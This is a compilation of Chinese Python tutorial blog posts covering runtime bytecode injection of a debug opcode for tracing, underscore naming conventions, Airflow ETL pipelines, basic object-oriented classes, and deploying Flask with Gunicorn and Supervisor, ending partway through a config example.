	在运行时直接修改函数的字节码(这就是我们将要干的事儿)



为了创造出一个新操作码，有了上面的那一堆 C 代码就够了。现在让我们回到原点，开始理解奇怪甚至神奇的 Python！


我们将要做的事儿有：



	得到我们想要追踪函数的 code object

	重写字节码来注入 DEBUG_OP

	将新生成的 code object 替换回去



和 code object 有关的小贴士


如果你从没听说过 code object，这里有一个简单的介绍网路上也有一些相关的文档可供查阅，可以直接 Ctrl+F 查找 code object


还有一件事情需要注意的是在这篇文章所指的环境中 code object 是不可变的：


    Python 3.4.2 (default, Oct  8 2014, 10:45:20)  
    [GCC 4.9.1] on linux  
    Type "help", "copyright", "credits" or "license" for more      information.  
    >>> x = lambda y : 2  
    >>> x.__code__  
    <code object <lambda> at 0x7f481fd88390, file "<stdin>", line 1>      
    >>> x.__code__.co_name  
    '<lambda>'  
    >>> x.__code__.co_name = 'truc'  
    Traceback (most recent call last):  
      File "<stdin>", line 1, in <module>  
    AttributeError: readonly attribute  
    >>> x.__code__.co_consts = ('truc',)  
    Traceback (most recent call last):  
      File "<stdin>", line 1, in <module>  
    AttributeError: readonly attribute  



但是不用担心，我们将会找到方法绕过这个问题的。


使用的工具


为了修改字节码我们需要一些工具：



	
dis模块用来反编译和分析字节码

	dis.BytecodePython 3.4新增的一个特性，对于反编译和分析字节码特别有用

	一个能够简单修改 code object 的方法



用 dis.Bytecode 反编译 code object 能告诉我们一些有关操作码、参数和上下文的信息。


    # Python3.4  
    >>> import dis  
    >>> f = lambda x: x + 3  
    >>> for i in dis.Bytecode(f.__code__): print (i)  
    ...  
    Instruction(opname='LOAD_FAST', opcode=124, arg=0, argval='x',       argrepr='x', offset=0, starts_line=1, is_jump_target=False)  
    Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=3,        argrepr='3', offset=3, starts_line=None, is_jump_target=False)  
    Instruction(opname='BINARY_ADD', opcode=23, arg=None,            argval=None, argrepr='', offset=6, starts_line=None,     is_jump_target=False)  
    Instruction(opname='RETURN_VALUE', opcode=83, arg=None,       argval=None, argrepr='', offset=7, starts_line=None,    is_jump_target=False)  



为了能够修改 code object，我定义了一个很小的类用来复制 code object，同时能够按我们的需求修改相应的值，然后重新生成一个新的 code object。


    class MutableCodeObject(object):  
        args_name = ("co_argcount", "co_kwonlyargcount",  "co_nlocals", "co_stacksize", "co_flags", "co_code",  
                      "co_consts", "co_names", "co_varnames",     "co_filename", "co_name", "co_firstlineno",  
                       "co_lnotab", "co_freevars", "co_cellvars")  

        def __init__(self, initial_code):  
            self.initial_code = initial_code  
            for attr_name in self.args_name:  
                attr = getattr(self.initial_code, attr_name)  
                if isinstance(attr, tuple):  
                    attr = list(attr)  
                setattr(self, attr_name, attr)  

        def get_code(self):  
            args = []  
            for attr_name in self.args_name:  
                attr = getattr(self, attr_name)  
                if isinstance(attr, list):  
                    attr = tuple(attr)  
                args.append(attr)  
            return self.initial_code.__class__(*args)  



这个类用起来很方便，解决了上面提到的 code object 不可变的问题。


    >>> x = lambda y : 2  
    >>> m = MutableCodeObject(x.__code__)  
    >>> m  
    <new_code.MutableCodeObject object at 0x7f3f0ea546a0>  
    >>> m.co_consts  
    [None, 2]  
    >>> m.co_consts[1] = '3'  
    >>> m.co_name = 'truc'  
    >>> m.get_code()  
    <code object truc at 0x7f3f0ea2bc90, file "<stdin>", line 1>  



测试我们的新操作码


我们现在拥有了注入 DEBUG_OP 的所有工具，让我们来验证下我们的实现是否可用。我们将我们的操作码注入到一个最简单的函数中：


    from new_code import MutableCodeObject  

    def op_target(*args):  
        print("WOOT")  
        print("op_target called with args <{0}>".format(args))  

    def nop():  
       pass  

    new_nop_code = MutableCodeObject(nop.__code__)  
    new_nop_code.co_code = b"\x00" + new_nop_code.co_code[0:3] +  b"\x00" + new_nop_code.co_code[-1:]  
    new_nop_code.co_stacksize += 3  

    nop.__code__ = new_nop_code.get_code()  

    import dis  
    dis.dis(nop)  
    nop()  


    # Don't forget that ./python is our custom Python implementing       DEBUG_OP  
    hakril@computer ~/python/CPython3.5 % ./python proof.py  
      8           0 <0>  
                  1 LOAD_CONST               0 (None)  
                  4 <0>  
                  5 RETURN_VALUE  
    WOOT  
    op_target called with args <([], <frame object at  0x7fde9eaebdb0>)>  
    WOOT  
    op_target called with args <([None], <frame object at   0x7fde9eaebdb0>)>  



看起来它成功了！有一行代码需要说明一下 new_nop_code.co_stacksize += 3



	co_stacksize 表示 code object 所需要的堆栈的大小

	操作码DEBUG_OP往堆栈中增加了三项，所以我们需要为这些增加的项预留些空间



现在我们可以将我们的操作码注入到每一个 Python 函数中了！


重写字节码


正如我们在上面的例子中所看到的那样，重写 Pyhton 的字节码似乎 so easy。为了在每一个操作码之间注入我们的操作码，我们需要获取每一个操作码的偏移量，然后将我们的操作码注入到这些位置上(把我们操作码注入到参数上是有坏处大大滴)。这些偏移量也很容易获取，使用 dis.Bytecode，就像这样。


    def add_debug_op_everywhere(code_obj):  
         # We get every instruction offset in the code object  
        offsets = [instr.offset for instr in dis.Bytecode(code_obj)]   
        # And insert a DEBUG_OP at every offset  
        return insert_op_debug_list(code_obj, offsets)  

    def insert_op_debug_list(code, offsets):  
         # We insert the DEBUG_OP one by one  
        for nb, off in enumerate(sorted(offsets)):  
            # Need to ajust the offsets by the number of opcodes          already inserted before  
            # That's why we sort our offsets!  
            code = insert_op_debug(code, off + nb)  
        return code  

    # Last problem: what does insert_op_debug looks like?  



基于上面的例子，有人可能会想我们的 insert_op_debug 会在指定的偏移量增加一个"\x00"，这尼玛是个坑啊！我们第一个 DEBUG_OP 注入的例子中被注入的函数是没有任何的分支的，为了能够实现完美一个函数注入函数 insert_op_debug 我们需要考虑到存在分支操作码的情况。


Python 的分支一共有两种：



	绝对分支：看起来是类似这样子的 Instruction_Pointer = argument(instruction)

	相对分支：看起来是类似这样子的 Instruction_Pointer += argument(instruction)


	相对分支总是向前的







我们希望这些分支在我们插入操作码之后仍然能够正常工作，为此我们需要修改一些指令参数。以下是其逻辑流程：



	对于每一个在插入偏移量之前的相对分支而言


	如果目标地址是严格大于我们的插入偏移量的话，将指令参数增加 1

	如果相等，则不需要增加 1 就能够在跳转操作和目标地址之间执行我们的操作码DEBUG_OP

	如果小于，插入我们的操作码的话并不会影响到跳转操作和目标地址之间的距离





	对于 code object 中的每一个绝对分支而言


	如果目标地址是严格大于我们的插入偏移量的话，将指令参数增加 1

	如果相等，那么不需要任何修改，理由和相对分支部分是一样的

	如果小于，插入我们的操作码的话并不会影响到跳转操作和目标地址之间的距离







下面是实现：


    # Helper  
    def bytecode_to_string(bytecode):  
        if bytecode.arg is not None:  
            return struct.pack("<Bh", bytecode.opcode, bytecode.arg)   
        return struct.pack("<B", bytecode.opcode)  

    # Dummy class for bytecode_to_string  
    class DummyInstr:  
        def __init__(self, opcode, arg):  
            self.opcode = opcode  
            self.arg = arg  

    def insert_op_debug(code, offset):  
        opcode_jump_rel = ['FOR_ITER', 'JUMP_FORWARD', 'SETUP_LOOP',      'SETUP_WITH', 'SETUP_EXCEPT', 'SETUP_FINALLY']  
        opcode_jump_abs = ['POP_JUMP_IF_TRUE', 'POP_JUMP_IF_FALSE',     'JUMP_ABSOLUTE']  
        res_codestring = b""  
        inserted = False  
        for instr in dis.Bytecode(code):  
            if instr.offset == offset:  
                res_codestring += b"\x00"  
                inserted = True  
            if instr.opname in opcode_jump_rel and not inserted:     #relative jump are always forward  
                if offset < instr.offset + 3 + instr.arg: # inserted     beetwen jump and dest: add 1 to dest (3 for size)  
                     #If equal: jump on DEBUG_OP to get info before      exec instr  
                    res_codestring +=     bytecode_to_string(DummyInstr(instr.opcode, instr.arg + 1))  
                    continue  
            if instr.opname in opcode_jump_abs:  
                if instr.arg > offset:  
                    res_codestring +=      bytecode_to_string(DummyInstr(instr.opcode, instr.arg + 1))  
                    continue  
            res_codestring += bytecode_to_string(instr)  
        # replace_bytecode just replaces the original code co_code  
        return replace_bytecode(code, res_codestring)  



让我们看一下效果如何：


    >>> def lol(x):  
    ...     for i in range(10):  
    ...         if x == i:  
    ...             break  

    >>> dis.dis(lol)  
    101           0 SETUP_LOOP              36 (to 39)  
                  3 LOAD_GLOBAL              0 (range)  
                  6 LOAD_CONST               1 (10)  
                  9 CALL_FUNCTION            1 (1 positional, 0    keyword pair)  
                 12 GET_ITER  
            >>   13 FOR_ITER                22 (to 38)  
                 16 STORE_FAST               1 (i)  

    102          19 LOAD_FAST                0 (x)  
                 22 LOAD_FAST                1 (i)  
                 25 COMPARE_OP               2 (==)  
                 28 POP_JUMP_IF_FALSE       13  

    103          31 BREAK_LOOP  
                 32 JUMP_ABSOLUTE           13  
                 35 JUMP_ABSOLUTE           13  
            >>   38 POP_BLOCK  
            >>   39 LOAD_CONST               0 (None)  
                 42 RETURN_VALUE  
    >>> lol.__code__ = transform_code(lol.__code__,        add_debug_op_everywhere, add_stacksize=3)  


    >>> dis.dis(lol)  
    101           0 <0>  
                  1 SETUP_LOOP              50 (to 54)  
                  4 <0>  
                  5 LOAD_GLOBAL              0 (range)  
                  8 <0>  
                  9 LOAD_CONST               1 (10)  
                 12 <0>  
                 13 CALL_FUNCTION            1 (1 positional, 0   keyword pair)  
                 16 <0>  
                 17 GET_ITER  
            >>   18 <0>  

    102          19 FOR_ITER                30 (to 52)  
                 22 <0>  
                 23 STORE_FAST               1 (i)  
                 26 <0>  
                 27 LOAD_FAST                0 (x)  
                 30 <0>  

    103          31 LOAD_FAST                1 (i)  
                 34 <0>  
                 35 COMPARE_OP               2 (==)  
                 38 <0>  
                 39 POP_JUMP_IF_FALSE       18  
                 42 <0>  
                 43 BREAK_LOOP  
                 44 <0>  
                 45 JUMP_ABSOLUTE           18  
                 48 <0>  
                 49 JUMP_ABSOLUTE           18  
            >>   52 <0>  
                 53 POP_BLOCK  
            >>   54 <0>  
                 55 LOAD_CONST               0 (None)  
                 58 <0>  
                 59 RETURN_VALUE  

     # Setup the simplest handler EVER  
    >>> def op_target(stack, frame):  
    ...     print (stack)  

    # GO  
    >>> lol(2)  
    []  
    []  
    [<class 'range'>]  
    [10, <class 'range'>]  
    [range(0, 10)]  
    [<range_iterator object at 0x7f1349afab80>]  
    [0, <range_iterator object at 0x7f1349afab80>]  
    [<range_iterator object at 0x7f1349afab80>]  
    [2, <range_iterator object at 0x7f1349afab80>]  
    [0, 2, <range_iterator object at 0x7f1349afab80>]  
    [False, <range_iterator object at 0x7f1349afab80>]  
    [<range_iterator object at 0x7f1349afab80>]  
    [1, <range_iterator object at 0x7f1349afab80>]  
    [<range_iterator object at 0x7f1349afab80>]  
    [2, <range_iterator object at 0x7f1349afab80>]  
    [1, 2, <range_iterator object at 0x7f1349afab80>]  
    [False, <range_iterator object at 0x7f1349afab80>]  
    [<range_iterator object at 0x7f1349afab80>]  
    [2, <range_iterator object at 0x7f1349afab80>]  
    [<range_iterator object at 0x7f1349afab80>]  
    [2, <range_iterator object at 0x7f1349afab80>]  
    [2, 2, <range_iterator object at 0x7f1349afab80>]  
    [True, <range_iterator object at 0x7f1349afab80>]  
    [<range_iterator object at 0x7f1349afab80>]  
    []  
    [None]  



甚好！现在我们知道了如何获取堆栈信息和 Python 中每一个操作对应的帧信息。上面结果所展示的结果目前而言并不是很实用。在最后一部分中让我们对注入做进一步的封装。


增加 Python 封装


正如您所见到的，所有的底层接口都是好用的。我们最后要做的一件事是让 op_target 更加方便使用(这部分相对而言比较空泛一些，毕竟在我看来这不是整个项目中最有趣的部分)。


首先我们来看一下帧的参数所能提供的信息，如下所示：



	f_code当前帧将执行的 code object

	f_lasti当前的操作(code object 中的字节码字符串的索引)



经过我们的处理我们可以得知 DEBUG_OP 之后要被执行的操作码，这对我们聚合数据并展示是相当有用的。


新建一个用于追踪函数内部机制的类：



	改变函数自身的 co_code

	设置回调函数作为 op_debug 的目标函数



一旦我们知道下一个操作，我们就可以分析它并修改它的参数。举例来说我们可以增加一个 auto-follow-called-functions 的特性。


    def op_target(l, f, exc=None):  
        if op_target.callback is not None:  
            op_target.callback(l, f, exc)  

    class Trace:  
        def __init__(self, func):  
            self.func = func  

        def call(self, *args, **kwargs):  
             self.add_func_to_trace(self.func)  
            # Activate Trace callback for the func call  
            op_target.callback = self.callback  
            try:  
                res = self.func(*args, **kwargs)  
            except Exception as e:  
                res = e  
            op_target.callback = None  
            return res  

        def add_func_to_trace(self, f):  
            # Is it code? is it already transformed?  
            if not hasattr(f ,"op_debug") and hasattr(f, "__code__"):  
                f.__code__ = transform_code(f.__code__,    transform=add_everywhere, add_stacksize=ADD_STACK)  
                f.__globals__['op_target'] = op_target  
                f.op_debug = True  

        def do_auto_follow(self, stack, frame):  
            # Nothing fancy: FrameAnalyser is just the wrapper that  gives the next executed instruction  
            next_instr = FrameAnalyser(frame).next_instr()  
            if "CALL" in next_instr.opname:  
                arg = next_instr.arg  
                f_index = (arg & 0xff) + (2 * (arg >> 8))  
                called_func = stack[f_index]  

                # If call target is not traced yet: do it  
                if not hasattr(called_func, "op_debug"):  
                    self.add_func_to_trace(called_func)  



现在我们实现一个 Trace 的子类，在这个子类中增加 callback 和 doreport 这两个方法。callback 方法将在每一个操作之后被调用。doreport 方法将我们收集到的信息打印出来。


这是一个伪函数追踪器实现：


    class DummyTrace(Trace):  
        def __init__(self, func):  
            self.func = func  
            self.data = collections.OrderedDict()  
            self.last_frame = None  
            self.known_frame = []  
            self.report = []  

        def callback(self, stack, frame, exc):  
             if frame not in self.known_frame:  
                self.known_frame.append(frame)  
                self.report.append(" === Entering New Frame {0} ({1})     ===".format(frame.f_code.co_name, id(frame)))  
                self.last_frame = frame  
            if frame != self.last_frame:  
                self.report.append(" === Returning to Frame {0}     {1}===".format(frame.f_code.co_name, id(frame)))  
                self.last_frame = frame  

            self.report.append(str(stack))  
            instr = FrameAnalyser(frame).next_instr()  
            offset = str(instr.offset).rjust(8)  
            opname = str(instr.opname).ljust(20)  
            arg = str(instr.arg).ljust(10)  
            self.report.append("{0}  {1} {2} {3}".format(offset,    opname, arg, instr.argval))  
            self.do_auto_follow(stack, frame)  

        def do_report(self):  
            print("\n".join(self.report))  



这里有一些实现的例子和使用方法。格式有些不方便观看，毕竟我并不擅长于搞这种对用户友好的报告的事儿。



	
例1自动追踪堆栈信息和已经执行的指令

	
例2上下文管理



递推式构造列表(List Comprehensions)的追踪示例。



	
例3伪追踪器的输出

	
例4输出收集的堆栈信息



总结


这个小项目是一个了解 Python 底层的良好途径，包括解释器的 main loop，Python 实现的 C 代码编程、Python 字节码。通过这个小工具我们可以看到 Python 一些有趣构造函数的字节码行为，例如生成器、上下文管理和递推式构造列表。


这里是这个小项目的完整代码。更进一步的，我们还可以做的是修改我们所追踪的函数的堆栈。我虽然不确定这个是否有用，但是可以肯定是这一过程是相当有趣的。




本文作者系OneAPM工程师编译整理。想阅读更多技术文章，请访问OneAPM官方技术博客。
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原文地址

这篇文章讨论Python中下划线_的使用。跟Python中很多用法类似，下划线_的不同用法绝大部分（不全是）都是一种惯例约定。


单个下划线（_）


主要有三种情况：


1. 解释器中


_符号是指交互解释器中最后一次执行语句的返回结果。这种用法最初出现在CPython解释器中，其他解释器后来也都跟进了。


>>> _
Traceback (most recent call last):
  File "", line 1, in 
NameError: name '_' is not defined
>>> 42
>>> _
42
>>> 'alright!' if _ else ':('
'alright!'
>>> _
'alright!'



2. 作为名称使用


这个跟上面有点类似。_用作被丢弃的名称。按照惯例，这样做可以让阅读你代码的人知道，这是个不会被使用的特定名称。举个例子，你可能无所谓一个循环计数的值：


n = 42
for _ in range(n):
    do_something()


3. i18n


_还可以被用作函数名。这种情况，单下划线经常被用作国际化和本地化字符串翻译查询的函数名。这种惯例好像起源于C语言。举个例子，在 Django documentation for translation 中你可能会看到：


from django.utils.translation import ugettext as _
from django.http import HttpResponse

def my_view(request):
    output = _("Welcome to my site.")
    return HttpResponse(output)


第二种和第三种用法会引起冲突，所以在任意代码块中，如果使用了_作i18n翻译查询函数，就应该避免再用作被丢弃的变量名。


单下划线前缀的名称（例如_shahriar）


以单下划线做前缀的名称指定了这个名称是“私有的”。在 有些 导入import * 的场景中，下一个使用你代码的人（或者你本人）会明白这个名称仅内部使用。Python documentation里面写道：



  a name prefixed with an underscore (e.g. _spam) should be treated as a non-public part of the API (whether it is a function, a method or a data member). It should be considered an implementation detail and subject to change without notice.




之所以说在在 有些 import * 的场景，是因为导入时解释器确实对单下划线开头的名称做了处理。如果你这么写from <module/package> import *，任何以单下划线开头的名称都不会被导入，除非模块/包的__all__列表明确包含了这些名称。更多相关信息见““Importing * in Python”。


双下划线前缀的名称（例如__shahriar）


以双下划线做前缀的名称（特别是方法名）并不是一种惯例；它对解释器有特定含义。Python会改写这些名称，以免与子类中定义的名称产生冲突。Python documentation中提到，任何__spam这种形式（至少以两个下划线做开头，绝大部分都还有一个下划线做结尾）的标识符，都会文本上被替换为_classname__spam，其中classname是当前类名，并带上一个下划线做前缀。

看下面这个例子：


>>> class A(object):
...     def _internal_use(self):
...         pass
...     def __method_name(self):
...         pass
... 
>>> dir(A())
['_A__method_name', ..., '_internal_use']


正如所料，_internal_use没有变化，但__method_name被改写成了_ClassName__method_name。现在创建一个A的子类B（这可不是个好名字），就不会轻易的覆盖掉A中的__method_name了：


>>> class B(A):
...     def __method_name(self):
...         pass
... 
>>> dir(B())
['_A__method_name', '_B__method_name', ..., '_internal_use']


这种特定的行为差不多等价于Java中的final方法和C++中的正常方法（非虚方法）。


前后都带有双下划线的名称（例如__init__）


这些是Python的特殊方法名，这仅仅是一种惯例，一种确保Python系统中的名称不会跟用户自定义的名称发生冲突的方式。通常你可以覆写这些方法，在Python调用它们时，产生你想得到的行为。例如，当写一个类的时候经常会覆写__init__方法。

你也可以写出自己的“特殊方法”名（但是别这么做）：


>>> class C(object):
...     def __mine__(self):
...         pass
...
>>> dir(C)
... [..., '__mine__', ...]


还是不要这样写方法名，只让Python定义的特殊方法名使用这种惯例吧。




hackernews和reddit上的相关讨论


 一个适合小公司用的 data pipeline 工具
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最近在Prettyyes一直想建立起非常专业的data pipeline系统，然后没有很多时间，这几个礼拜正好app上线，有时间开始建立自己的 data pipeline，能够很好的做每天的数据导入，数据收集，以及数据分析。

什么是ETL

ETL 是常用的数据处理，在以前的公司里，ETL 差不多是数据处理的基础，要求非常稳定，容错率高，而且能够很好的监控。ETL的全称是 Extract，Transform，Load， 一般情况下是将乱七八糟的数据进行预处理，然后放到储存空间上。可以是SQL的也可以是NOSQL的，还可以直接存成file的模式。

一开始我的设计思路是，用几个cron job和celery来handle所有的处理，然后将我们的log文件存在hdfs，还有一些数据存在mysql，大概每天跑一次。核心是能够scale，稳定，容错，roll back。我们的data warehouse就放在云上，就简单处理了。

有了自己的ETL系统我觉得就很安心了，以后能够做数据处理和机器学习方面就相对方便一些。

问题来了

一开始我设计的思路和Uber一开始的ETL很像，因为我觉得很方便。但是我发觉一个很严重的问题，我一个人忙不过来。首先，要至少写个前端UI来监控cron job，但是市面上的都很差。其次，容错的autorestart写起来很费劲，可能是我自己没有找到一个好的处理方法。最后部署的时候相当麻烦，如果要写好这些东西，我一个人的话要至少一个月的时间，可能还不是特别robust。在尝试写了2两天的一些碎片处理的脚本之后我发觉时间拖了实在太久了。

隆重推荐的工具

airbnb是我很喜欢的公司，他们有很多开源的工具，airflow我觉得是最实用的代表。airflow 是能进行数据pipeline的管理，甚至是可以当做更高级的cron job 来使用。现在一般的大厂都说自己的数据处理是ETL，美其名曰 data pipeline，可能跟google倡导的有关。airbnb的airflow是用python写的，它能进行工作流的调度，提供更可靠的流程，而且它还有自带的UI（可能是跟airbnb设计主导有关）。话不多说，先放两张截图：




什么是DAG

airflow里最重要的一个概念是DAG。

DAG是directed asyclic graph，在很多机器学习里有应用，也就是所谓的有向非循环。但是在airflow里你可以看做是一个小的工程，小的流程，因为每个小的工程里可以有很多“有向”的task，最终达到某种目的。在官网中的介绍里说dag的特点：


	Scheduled: each job should run at a certain scheduled interval


	Mission critical: if some of the jobs aren’t running, we are in trouble


	Evolving: as the company and the data team matures, so does the data processing


	Heterogenous: the stack for modern analytics is changing quickly, and most companies run multiple systems that need to be glued together




YEAH! It's awesome, right? After reading all of these, I found it's perfectly fit Prettyyes.

如何安装

安装airflow超级简单，使用pip就可以，现在airflow的版本是1.6.1，但是有个小的bug，这个之后会告诉大家如何修改。

pip install airflow


这里有个坑，因为airflow涉及到很到数据处理的包，所以会安装pandas和numpy（这个Data Scientist应该都很熟悉）但是国内pip install 安装非常慢，用douban的源也有一些小的问题。我的解决方案是，直接先用豆瓣的源安装numpy 和 pandas，然后再安装airflow，自动化部署的时候可以在requirements.txt 里调整顺序就行了

如何运行

摘自官方网站

# airflow needs a home, ~/airflow is the default,
# but you can lay foundation somewhere else if you prefer
# (optional)
export AIRFLOW_HOME=~/airflow

# install from pypi using pip
pip install airflow

# initialize the database
airflow initdb

# start the web server, default port is 8080
airflow webserver -p 8080

然后你就可以上web ui查看所有的dags，来监控你的进程。

如何导入dag

一般第一次运行之后，airflow会在默认文件夹下生成airflow文件夹，然后你只要在里面新建一个文件dag就可以了。我这边部署在阿里云上的文件tree大概是这个样子的。



以下是我自己写的我们公司prettyyes里需要每天处理log的其中一个小的dag：

from airflow import DAG
from airflow.operators import BashOperator
from datetime import datetime, timedelta
import ConfigParser


config = ConfigParser.ConfigParser()
config.read('/etc/conf.ini')
WORK_DIR = config.get('dir_conf', 'work_dir')
OUTPUT_DIR = config.get('dir_conf', 'log_output')
PYTHON_ENV = config.get('dir_conf', 'python_env')

default_args = {
    'owner': 'airflow',
    'depends_on_past': False,
    'start_date': datetime.today() - timedelta(days=1),
    'retries': 2,
    'retry_delay': timedelta(minutes=15),
}

dag = DAG('daily_process', default_args=default_args, schedule_interval=timedelta(days=1))

templated_command = "echo 'single' | {python_env}/python {work_dir}/mr/LogMR.py"\
    .format(python_env=PYTHON_ENV, work_dir=WORK_DIR) + " --start_date {{ ds }}"


task = BashOperator(
    task_id='process_log',
    bash_command=templated_command,
    dag=dag
)

写好之后，只要将这个dag放入之前建立好的dag文件夹，然后运行：

python <dag_file>


来确保没有语法错误。在测试里你可以看到我的

schedule_interval=timedelta(days=1)


这样我们的数据处理的任务就相当于每天跑一次。更重要的是，airflow还提供处理bash处理的接口外还有hadoop的很多接口。可以为以后连接hadoop系统提供便利。很多具体的功能可以看官方文档。

其中的一个小的bug

airflow 1.6.1有一个网站的小的bug，安装成功后，点击dag里的log会出现以下页面：



这个只要将

airflow/www/utils.py 


文件替换成最新的airflow github上的utils.py文件就行，具体的问题在这个：

fixes datetime issue when persisting logs

使用supervisord进行deamon

airflow本身没有deamon模式，所以直接用supervisord就ok了，我们只要写4行代码。

[program:airflow_web]
command=/home/kimi/env/athena/bin/airflow webserver -p 8080

[program:airflow_scheduler]
command=/home/kimi/env/athena/bin/airflow scheduler


我觉得airflow特别适合小的团队，他的功能强大，而且真的部署方便。和hadoop，mrjob又可以无缝连接，对我们的业务有很大的提升。

Prettyyes 不以貌取人最肤浅
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OOP(面向对象编程)的思想在很多语言中都已经很成熟了， 在Python里， 也支持这种编程方式
面向编程里面的几个概念: 类， 对象， 属性， 方法，下面就用例子看一下如何实现

类， 对象(实例)

class Classname(object):

关键字class, 括号中的object表是Classname类继承的类， 默认都至少要继承一个叫object的类

比如要定义一个学生类：

class Student():
    pass

这里我们仅仅是定义了一个类， 并未做任何实际的工作

那如何使用一个类呢， 当然要实例化这个类了

s = Sutdent()
print s #<__main__.Student object at 0x7fb60ad6c450>

那这个s 其实就是这个类的一个对象(实例)，

属性

这个其实就是类中的一些变量， 可以外部赋值， 也可内部定义， 假设我们外部定义某个Student实例的名字

s.name = "Yi_Zhi_Yu"
print s.name #Yi_Zhi_Yu

在类内部定义

class Student():
    name = "Yi_Zhi_Yu"
 
s = Sutdent()
print s.name #Yi_Zhi_Yu

方法

类的方法， 表示类的对象可以进行的操作

class Student():
    name = "Yi_Zhi_Yu"
    
    def set_name(self, name):
        self.name = name
   
    def get_name(self)
        return self.name
 #实例化
 s = Sutdent()
 s.set_name("Tony")
 print s.get_name() #Tony

注意， 类中的每个方法定义的时候都至少要带一个参数 self, 他代表的是绑定的实例， 即方法中要操作的对象， 这个和PHP很不一样， 假如不带这个self 参数

def get_name()
        return "Tony" 
print s.get_name()    
#TypeError: get_name() takes no arguments (1 given)    

会报错， 还说已经传递了一个给get_name, 实际上这个1 given 就是对象， get_name中需要有个参数接收， 就是self, 所以实际上这个self也可以用其他名称代替， 因为他仅仅是个参数名

def get_name(m):
    return m.name      
print s.get_name() # Tony  

这个self也仅仅是在定义方法时带， 实际调用的时候要省略， 为什么的原因就是上面说的， 会自动传递进去 

另外在说一个特殊的方法， 在实例化类的时候， 往往需要在实例的时候就执行某些操作， 在PHP中叫构造函数， 那python中呢: __init__  

这里顺便把完成的类代码写下来

class Student():
    name = ""

    def __init__(self, name): #自然要带self
        self.name = name

    def set_name(self, name):
        self.name = name

    def get_name(m):
        return m.name
 
 s = Student("Yi_Zhi_Yu")
 print s.get_name() #Yi_Zhi_Yu

模块与类

我们写好了上面的类, 文件名称叫student.py， 如何被其他模块引入呢
第一种方式

import student
s = student.Student("Yi_Zhi_Yu")
print s.get_name() #Yi_Zhi_Yu

另一种方式

from student import Student
s = Student("Yi_Zhi_yu")
print s.get_name()

其实， 第二种方式是用于引入某个模块的某些函数或类或变量， 而不是完全引入，比如， 我们在上面的student模块文件的Student类外层添加一个函数

def f_i_test():
      print "Hello World"

当我们需要这个模块中的这个函数，而不需要Student类的时候， 就可以使用

from student import f_i_test
f_i_test() #Hello World
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由于字数的限制，其实本篇文章的全标题为 《如何在 virtualenv 环境下 Django + Nginx + Gunicorn+ Supervisor 搭建 Python Web》


在这篇文章里，我们将搭建一个简单的 Web 应用，在虚拟环境中基于 Flask 框架，用 Gunicorn 做 wsgi 容器，用 Supervisor 管理进程，然后使用 OneAPM Python 探针来监测应用性能，形成一个「闭环」 ！希望能对大家有所帮助，首先简单来介绍一下环境：


系统环境：ubuntu 14.04  Python 2.7.6


安装组件库


第一步安装所需要的存储库，因为打算用到虚拟环境，用到 pip 安装和管理 Python 组件，所以先更新本地包，然后安装组件：


sudo apt-get update
sudo apt-get install python-pip python-dev nginx



创建虚拟环境 virtualenv


在一个系统中创建不同的 Python 隔离环境，相互之间还不会影响，为了使系统保持干净，遂决定用 virtualenv 跑应用程序，创建一个容易识别的目录，开始安装，再创建项目目录 super，然后激活环境：


sudo pip install virtualenv
mkdir ~/supervisor && cd ~/supervisor
virtualenv super
source super/bin/activate



安装 Flask 框架


好了，现在在虚拟环境里面，开始安装 Flask 框架，flask 依赖两个库 werkzeug 和 jinjia2, 采用 pip 方式安装即可, pip 是一个重要的工具，Python 用它来管理包：


pip install flask



先用 Flask 写一个简单的 Web 服务 myweb.py ，因为后面要做一些测试，所以设置了几个请求：


from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
    return 'hello world  supervisor gunicorn '
@app.route('/1')
def index1():
    return 'hello world  supervisor gunicorn  ffffff'
@app.route('/qw/1')
def indexqw():
    return 'hello world  supervisor gunicorn fdfdfbdfbfb '
if __name__ == '__main__':
    app.debug = True
    app.run()



启动 Flask 看看！


python myweb.py



在浏览器中访问 http://127.0.0.1:5000 就可以看到了「几个路径都试一试」


用 Gunicorn 部署 Python Web


现在我们使用 Flask 自带的服务器，完成了 Web 服务的启动。生产环境下，Flask 自带的服务器，无法满足性能要求。所以我们这里采用 Gunicorn 做 wsgi 容器，用来部署 Python，首先还是安装 Gunicorn：


pip install gunicorn



当我们安装好 Gunicorn 之后，需要用 Gunicorn 启动 Flask，Flask 用自带的服务器启动时，Flask 里面的 name 里面的代码启动了 app.run()。而这里我们使用 Gunicorn，myweb.py 就等同于一个库文件，被 Gunicorn 调用，这样启动：


gunicorn -w 4 -b 0.0.0.0:8000 myweb:app



其中 myweb 就是指 myweb.py，app 就是那个 wsgifunc 的名字，这样运行监听 8000 端口，原先的 5000 端口并没有启用，-w 表示开启多少个 worker，-b 表示 Gunicorn 开发的访问地址。


想要结束 Gunicorn 只需执行 pkill Gunicorn，但有时候还要 ps 找到 pid 进程号才能 kill。可是这对于一个开发来说，太过于繁琐，因此出现了另外一个神器 ---supervisor，一个专门用来管理进程的工具，还可以管理系统的工具进程。


安装 Supervisor


pip install supervisor
echo_supervisord_conf > supervisor.conf  # 生成 supervisor 默认配置文件
gedit  supervisor.conf                   # 修改 supervisor 配置文件，添加 gunicorn 进程管理


在 supervisor.conf 底部下添加 myweb.py 的配置 `/home/wang/supervisor/super` 是我的项目目录」


[program:myweb]
command=/home/wang/supervisor/super/bin/gunicorn -w 4 -b 0.0.0.0:8000 myweb:app                                                                     
directory=/home/wang/supervisor                                             
startsecs=0                                                                   
stopwaitsecs=0                                                                  
autostart=false                                                                
autorestart=false                                                                 
user=wang                                                                     
stdout_logfile=/home/wang/supervisor/log/gunicorn.log                  
stderr_logfile=/home/wang/supervisor/log/gunicorn.err



supervisor 的基本使用命令：


supervisord -c supervisor.conf    
supervisorctl -c supervisor.conf status                  查看supervisor的状态                                      
supervisorctl -c supervisor.conf reload                  重新载入 配置文件
supervisorctl -c supervisor.conf start [all]|[appname]   启动指定/所有 supervisor 管理的程序进程
supervisorctl -c supervisor.conf stop [all]|[appname]    关闭指定/所有 supervisor 管理的程序进程



supervisor 还有一个 web 的管理界面，可以激活。更改下配置：


[inet_http_server]     ; inet (TCP) server disabled by default
port=127.0.0.1:9001    ; (ip_address:port specifier, *:port for alliface)
username=wang          ; (default is no username (open server)
password=123           ; (default is no password (open server))

[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL  for a unix socket
serverurl=http://127.0.0.1:9001       ; use an http:// url to specify an inet socket
username=wang                         ; should be same as http_username if set
